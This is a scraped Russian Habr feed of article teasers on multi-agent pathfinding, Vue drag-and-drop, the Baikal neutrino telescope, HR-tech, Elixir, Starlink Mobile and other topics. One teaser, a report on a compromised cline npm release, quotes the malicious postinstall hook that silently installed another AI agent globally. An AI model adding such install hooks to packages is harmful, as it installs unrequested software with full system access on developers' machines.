Представьте задачу: есть куча роботов, и им всем надо куда‑то добраться, не столкнувшись с собратьями, а мы должны придумать для этого алгоритм. Это, если упрощать, и называется многоагентным планированием или MAPF — Multi‑Agent Pathfinding.
Обычно работу принято начинать с ограничения на то, что агенты двигаются только по квадратной сетке или графу. Но для реальных приложений нам, конечно, нужно переходить к непрерывному пространству, и тут кроется одна проблема. Многие из существующих сред и симуляторов либо слишком примитивны, либо настолько физически детальны, что проводить масштабные эксперименты в них слишком долго либо даже невозможно.
В общем, мы в команде «RL агенты» Лаборатории когнитивных систем искусственного интеллекта AIRI сделали свою среду‑бенчмарк под названием CAMAR, где можно обкатывать модели многоагентного обучения с подкреплением в непрерывном пространстве. Мы представили нашу статью про CAMAR на Main Track конференции AAAI‑2026 и на воркшопе WoMAPF’26 (тоже часть AAAI-2026). Заодно я, стажер‑исследователь команды и студент магистратуры ЦКМ МФТИ по имени Артём Пшеницын, решил рассказать о нашей разработке на Хабре.
Читать далееAirbnb не владеет ни одним отелем, но стоит дороже крупнейших гостиничных сетей. Uber не имеет своих машин, но переоценил таксопарки по всему миру. За этим стоит одна идея: активы эффективнее использовать совместно, чем владеть ими в одиночку.Шеринг-экономика прошла три волны: сначала транспорт и жильё, потом вещи и навыки, теперь — корпоративные активы. И именно третья волна несёт самый большой нереализованный потенциал — особенно в России, где простой промышленного оборудования измеряется триллионами рублей в год.Разбираем, как это устроено, почему Россия отстаёт на 5–7 лет и куда движется рынок дальше.
Читать далееVue DnD Kit v2: headless drag-and-drop с composable API — делай что хочешь, как хочешь
Если вы когда-нибудь пробовали сделать drag-and-drop на Vue по-настоящему гибким — с кастомным overlay, вложенными зонами, multi-drag и анимацией при отпускании — вы знаете, что большинство библиотек держат вас в клетке. Vue DnD Kit v2 эту клетку сломал.
И вам это понравится!)
Читать далееШар медленно погружался в ледяную воду. Гладкий и прозрачный, в темной проруби он практически сразу становился невидимым: чистая стеклянная сфера в чистой воде. За ним последовал второй, затем еще один. Полуметровые шары ненадолго замирали над поверхностью, переливаясь на солнце – как золотые леденцы – а затем исчезали под черным льдом.
Это могла бы быть история про артефакты, забытые иной цивилизацией, но это история про Байкальский нейтринный телескоп.
Читать далееВ этой статье мы покажем, как сделать открытку через нейросеть всего за 5 минут, дадим готовые промпты для разных случаев и объясним, как добиться профессионального качества даже без опыта работы с AI. Вы узнаете, какие нейросети лучше использовать, как правильно формулировать запросы и как создать по-настоящему уникальное поздравление, которое запомнится.
Читать далееВсем привет! На связи снова Карьерный Хакер, амбассадор здравого смысла на рынке труда и в HR Tech :)
Обзор, как я поймала баги в популярной ATS разлетелся по сети, что доказывает, думаю, насколько тема является общественно важной. Ведь из-за таких ошибок соискатели могут так и не найти работу и получить "ложный отказ", компании и рекрутеры могут терять отклики, принять неверное решение в отношении кандидата и отправить ему долгожданное "ОТКАЗАНО".
Но есть и более важная составляющая технологий для HR — это риски (как для компаний, так и для соискателей).
Сегодня в статье будет комментарий как раз о рисках от юриста в сфере трудового права для IT & digital, эксперта по вопросам увольнений, экс-сотрудника прокуратуры, автора тг-канала Law it, Ларисы Бернацкой. Кстати с Ларисой мы познакомились в сети после моей статьи. Н - Нетворкинг :).
Для начала добавлю от себя немного базы. Для тех, кто "в домике" и считает, что HR - технологиями никто не пользуется, приведу краткий обзор самых популярных HR-Tech решений и их клиентов, которые заявлены на их официальных сайтах.
Skillaz HRM (принадлежит hh): Касперский, Черкизово, МТС, Ренессанс банк, Билайн, Дикси, Магнит, Самолет, Росатом, х5 Group, Уралхим, Мегафон и др.
Хантфлоу ATS: lamoda, Самокат, Мегафон, Innova, Циан, Ланит, Авито, VK и др.
Поток ATS: Лента, Северсталь, Роснефть, Балтика,12 STOREEZ, ПРОФИ, Дом.РФ, Билайн, Нетология и др.
Verme WFM: на сайте заявлено, что с ними работают 100+ крупнейших компания, включая lamoda, АТАК (он же Auchan), Все Инструменты. ру, OBI, Магнит и Магнит Косметик, ВкусВилл, МТС, Пятерочка (х5) и др.
Читать далееЕсли посмотреть на отчёты по кибербезопасности последних лет, можно заметить одну интересную вещь.
Количество атак растёт.
Сложность атак растёт.
Стоимость атак растёт.
А вот уровень защиты компаний — не всегда.
Проблема в том, что многие организации до сих пор думают о безопасности примерно так:
Читать далее3 марта 2026 года компания OpenAI официально представила GPT-5.3 Instant - новую базовую модель для своего флагманского чат-бота. В отличие от предыдущих номерных релизов, где главный упор делался на наращивание вычислительной мощности, в этот раз разработчики сосредоточились на пользовательском опыте и масштабной работе над ошибками.
Обновление вышло в непростое для компании время, но принесло именно то, о чем пользователи просили последние несколько месяцев: адекватность, точность и избавление от излишней опеки. Разберемся, что изменилось в новой версии ChatGPT и на примерах проверим - все ли так, как заявляют.
Читать далее1. Мотивация
Как я писал в предыдущей статье https://habr.com/ru/articles/1002748/ при разработке прототипа системы взаимодействующих движков первыми движками оказались тактовые генераторы, задающие время и синхронизацию коллектива движков.
Остальные рабочие движки можно было бы стандартно реализовать с помощью нескольких специфических серверов движков, но мне захотелось сделать всё по правилам ООП и испытать выразительную мощь языка Elixir. Т.е. дальнейшую разработку предполагается провести в рамках парадигмы ООП, расширяя модуль «класса» тактовых генераторов.
2. Предварительное исследование
В начале поиска решения был расчет на механизм Поведения (behaviour) Elixir. Поэтому более внимательно перечитал учебную литературу, и выяснил, что этот инструмент для схожей, но другой задачи: задание контракта поведения и проверка на этапе компиляции реализации модулем требуемых функций обратного вызова.
Ещё я потратил много времени на поиск в Интернете, как коллеги расширяют модули Elixir аля классы ООП и нашел только один источник конференции по этому вопросу [1]. Но я решил вначале самому попробовать пройти путь квеста, чтобы сравнить потом свой результат с чужими.
Забегая вперед, могу сказать, что одно решения [1#9] с конференции почти совпало с моим, но там отсутствуют обобщение и выводы, которые я собираюсь вам сообщить в конце.
Справка: В статье невольно производится сопоставление ООП и Elixir, из чего можно сделать вывод, что я отношу Elixir к функциональным языкам. Формально это так и есть, но на деле я вслед за ерлангелистом Сашей Юрич [2] расцениваю Elixir преимущественно языком акторов.
Читать далееЭта статья — 2я часть серии о создании реальных веб-сервисов с помощью ИИ-инструментов, таких как Cursor.
На первый взгляд, выбор стека может казаться чисто техническим решением. Но когда вы создаёте ПО с помощью Курсора, стек фактически становится частью инструкции, которую вы даёте ИИ. Если вы не определите его заранее, ИИ будет импровизировать. Не хочу даже думать, к чему это приведет.
Читать дальше →Если вы даже не можете завести людей в двери своего ресторана, качество еды в нем уже не имеет никакого значения.
Читать далееПри сборке самодельного PnP-станка (установщика SMD) многие ограничиваются простым включением вакуумного насоса через реле. Однако при переходе к компонентам 0201 и многосопельным головкам начинаются проблемы: насосы перегреваются, вакуум в длинных трубках нарастает слишком медленно, а мелкие детали разлетаются от избыточного давления.
Я разработал контроллер, который превращает дешевые китайские насосы 555 в интеллектуальную систему управления пневматикой.
Читать далееПриложение тормозит. Где узкое место? Почему растёт память? Есть ли дедлок?
Я написал JavaPerf — MCP-сервер, который даёт ИИ-инструментам прямой доступ к нативным утилитам JDK для профилирования. Без графических интерфейсов, без ручного CLI — только диалог с ассистентом.
Читать далее17 февраля 2026 года в репозитории npm была опубликована версия cline@2.3.0. С виду – ничего особенного: исполняемый файл был идентичен предыдущему байт в байт. Лишь в файле package.json притаилась одна лишняя строчка:
"postinstall": "npm install -g openclaw@latest"
В течение следующих восьми часов каждый разработчик, решивший установить или обновить Cline, невольно устанавливал OpenClaw. Это отдельный ИИ-агент с полным доступом к системе, который устанавливался глобально и без какого-либо спроса. Пакет успели скачать около 4000 раз, прежде чем его удалили из общего доступа.
Читать далееИталия начала ХХ века была страной по европейским меркам бедной и отсталой — но весьма амбициозной. На отдельных направлениях ей удавалось держаться вполне на мировом уровне, и летательные аппараты были в их числе. Достаточно сказать, что именно итальянцы во время завоевания Ливии впервые в истории применили авиацию в военных целях, а к концу Первой мировой войны страна обладала одним из сильнейших воздушных флотов в мире. Безусловно, итальянцы больше всего увлекались самолётами — в том числе по причине большой любви к ним со стороны пришедшего к власти в 1922 году Муссолини и многих его коллег. Но и в дирижаблестроении у них было немало ярких страниц. Более того, именно итальянские проекты дирижаблей полужёсткой конструкции позже лягут в основу советской программы дирижаблестроения.
Читать далееВведение
Данный проект, является логическим продолжением развития темы "Солнечный трекер на Arduino".
Используя базу солнечного трекера (его конструкцию) и web-камеру можно собрать роботизированную конструкцию, которая будет отслеживать в режиме реального времени назначенный маркер или группу маркеров в определённой области пространства.
Распознавать маркеры можно по разным критериям: выбранному цвету, текстуре, форме и т.д.
Я выбрал второй вариант. Делаю фото объекта web-камерой, с выбранным однородным цветом, которую буду использовать на роботе.
Подготовка ПО
Для корректной работы программы вам нужно:
1. Установить Python https://www.python.org/
2. Установить модули numpy, opencv и pyserial используя инструмент pip https://pypi.org/project/numpy/
https://pypi.org/project/opencv-python/
https://pypi.org/project/pyserial/
3. Установить Arduino ide
https://learnlange.blogspot.com/p/blog-page_28.html
Сборка робота
Система представляет стационарную установку с двумя степенями свободы, которые позволяют вращаться в пространстве цилиндрической формы. На верхней части системы закреплена USB web-камера (её можно заменить на smart камеру или ip камеру).
Для быстрого создания прототипа использую образовательный набор КЛИК: базовый и ресурсный
Поворотные механизмы реализованы с использованием DC моторов с понижающей передачей.
Когда всё сходится: ключ к пониманию самых неразрешимых споров
Вы когда-нибудь уходили после разговора с чувством, что говорили на разных языках? Когда ваши аргументы кажутся вам железобетонными, а собеседник их просто не слышит, будто вас разделяет невидимая стена.
Или ловили себя на мысли: «Почему он принимает такие нелогичные решения? Это же очевидно!»
А может, замечали, что общение с некоторыми людьми оставляет после себя только усталость и сомнение в адекватности: либо с ними что-то не так, либо со мной?
Всё это не случайность. И не «низкий эмоциональный интеллект».
Эта статья – результат наблюдений за многими подобными ситуациями и поиска ответов, которые позволят выйти из тупика.
Она даст вам то, чего не дают тренинги по soft skills: способ увидеть фундаментальные причины самых непреодолимых противоречий между людьми.
Вы сможете осмыслить совершенно иначе знакомые ситуации, которые раньше вызывали только раздражение и усталость. Поймёте логику тех, кто казался нелогичным. И убедитесь, что в мире гораздо больше структуры, чем кажется – просто её не видно без правильной оптики.
Читать далееПочему использование JSON как формата сообщений может стать узким местом в высоконагруженных системах? Что такое Apache Avro и Schema Registry?
Простым языком об этих технологиях, их работе и причинах их возникновения.
Читать далееНа днях появились обновленные планы по развитию спутниковой мобильной связи под брендом Starlink Mobile. Что это такое? Система позволяет обычным смартфонам цепляться напрямую к спутникам — без чехлов, внешних антенн и каких-либо доработок в устройстве. После развертывания второго поколения аппаратов пиковая скорость на одного пользователя должна достичь 150 Мбит/с. Все это благодаря большему количеству спутников, собственным чипам и расширенному спектру от EchoStar. Полноценный запуск намечен на конец 2027 года.
Читать далееЗдравствуйте, мои драгоценнейшие радиофобы и радиофилы, давайте представим, что у нас с Вами есть прибор, который может заранее предупредить об урагане, граде, снегопаде.
Читать далее